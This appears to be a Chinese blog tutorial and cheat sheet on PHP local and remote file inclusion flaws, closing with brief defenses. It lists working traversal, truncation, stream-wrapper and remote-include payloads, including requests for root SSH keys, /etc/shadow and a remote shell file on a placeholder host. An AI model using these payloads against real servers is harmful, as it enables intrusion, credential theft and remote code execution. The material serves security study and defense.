PHP 文件包含漏洞总结

PHP 文件包含漏洞的产生原因是在通过 PHP 的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入

常见文件包含函数

  • include():执行到 include 时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行
  • require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本
  • include_once()require_once():若文件中代码已被包含则不会再次包含

利用条件

程序用 include() 等文件包含函数通过动态变量的范式引入需要包含的文件 用户能够控制该动态变量

注:PHP 中只要文件内容符合 PHP 语法规范,包含时不管扩展名是什么都会被 PHP 解析, 若文件内容不符合 PHP 语法规范则会暴漏其源码。

漏洞危害

  • 执行任意代码
  • 包含恶意文件控制网站
  • 甚至控制服务器

漏洞分类

  • 本地文件包含:可以包含本地文件,在条件允许时甚至能执行代码

    • 上传图片马,然后包含
    • 读敏感文件,读 PHP 文件
    • 包含日志文件 GetShell
    • 包含 /proc/self/envion 文件 GetShell
    • 包含 data: 或 php://input 等伪协议
    • 若有 phpinfo 则可以包含临时文件
  • 远程文件包含:可以直接执行任意代码

    • 要保证 php.ini 中 allow_url_fopen 和 allow_url_include 要为 On

普通本地文件包含

<?php include("inc/" . $_GET['file']);?>

攻击方式

包含同目录下的文件

?file=.htaccess

目录遍历

?file=../../../../../../../../../var/lib/locate.db

?file=../../../../../../../../../var/lib/mlocate/mlocate.db

(linux 中这两个文件储存着所有文件的路径,需要 root 权限)

包含错误日志

?file=../../../../../../../../../var/log/apache/error.log

获取 web 目录或者其他配置文件

?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf

包含上传的附件

?file=../attachment/media/xxx.file

读取 session 文件

?file=../../../../../../tmp/sesstnrdo9ub2tsdurntv0pdir1no7

(session 文件一般在 /tmp 目录下,格式为 `sess\
[your phpsessid value]`,有时候也有可能在/var/lib/php5 之类的,在此之前建议先读取配置文件。在某些特定的情况下如果你能够控制 session 的值,也许你能够获得一个 shell)

系统中重要文件(需要 root 权限)

  • /root/.ssh/authorized_keys
  • /root/.ssh/id_rsa
  • /root/.ssh/id_rsa.keystore
  • /root/.ssh/id_rsa.pub
  • /root/.ssh/known_hosts
  • /etc/shadow
  • /root/.bash_history
  • /root/.mysql_history
  • /proc/self/fd/fd[0-9]* (文件标识符)
  • /proc/mounts
  • /proc/config.gz

有限制的本地文件包含

<?php include("inc/" . $_GET['file'] . ".htm");?>

攻击方式

%00 截断

?file=../../../../../../../../../etc/passwd%00

(需要 magic_quotes_gpc=off,PHP 小于 5.3.4 有效)

%00 截断目录遍历

?file=../../../../../../../../../var/www/%00

(需要 magic_quotes_gpc=off,unix 文件系统,比如 FreeBSD,OpenBSD,NetBSD,Solaris)

路径长度截断:

?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.

(php 版本小于 5.2.8(?)可以成功,linux 需要文件名长于 4096,windows 需要长于 256)

点号截断:

?file=../../../../../../../../../boot.ini/………[…]…………

(php 版本小于 5.2.8(?)可以成功,只适用 windows,点号需要长于 256)

普通远程文件包含

<?php include($_GET['file']);?>

攻击方式

远程代码执行:

?file=[http|https|ftp]\://example.com/shell.txt

(需要 allow_url_fopen=On 并且 allow_url_include=On)

利用 php 流 input:

?file=php://input

(需要 allow_url_include=On)

利用 php 流 filter:

?file=php://filter/convert.base64-encode/resource=index.php

(需要 allow_url_include=On)

利用 data URIs:

?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=

(需要 allow_url_include=On)

利用 XSS 执行任意代码:

?file=http://127.0.0.1/path/xss.php?xss=phpcode

(需要 allow_url_fopen=On,allow_url_include=On 并且防火墙或者白名单不允许访问外网时,先在同站点找一个 XSS 漏洞,包含这个页面,就可以注入恶意代码了。条件非常极端和特殊- -)

有限制的远程文件包含

<?php include($_GET['file'] . ".htm");?>

?file=http://example.com/shell

?file=http://example.com/shell.txt?

?file=http://example.com/shell.txt%23

(需要 allow_url_fopen=On 并且 allow_url_include=On)

?file=\evilshare\shell.php (只需要 allow_url_include=On)

延伸

其实在前面也说了,这些漏洞产生原因是 PHP 函数在引入文件时,传入的文件名没有经过合理的校验,从而操作了预想之外的文件。实际上我们操作文件的函数不只是 include()一个,上面提到的一些截断的方法同样可以适用于以下函数:

  • fopen
  • file_get_contents
  • copy
  • parse_ini_file
  • readfile
  • file_put_contents
  • mkdir
  • tempnam
  • move_uploaded_file
  • rename
  • unlink
  • rmdir
  • require
  • require_once
  • include_once
  • ZipArchive::open()

漏洞防御

  • PHP 中使用 open_basedir 配置,将访问限制在指定区域
  • 过滤 ./\
  • 禁止服务器远程文件包含
亲!!! 听说给作者打赏一杯咖啡钱,会给自己带来好运哦!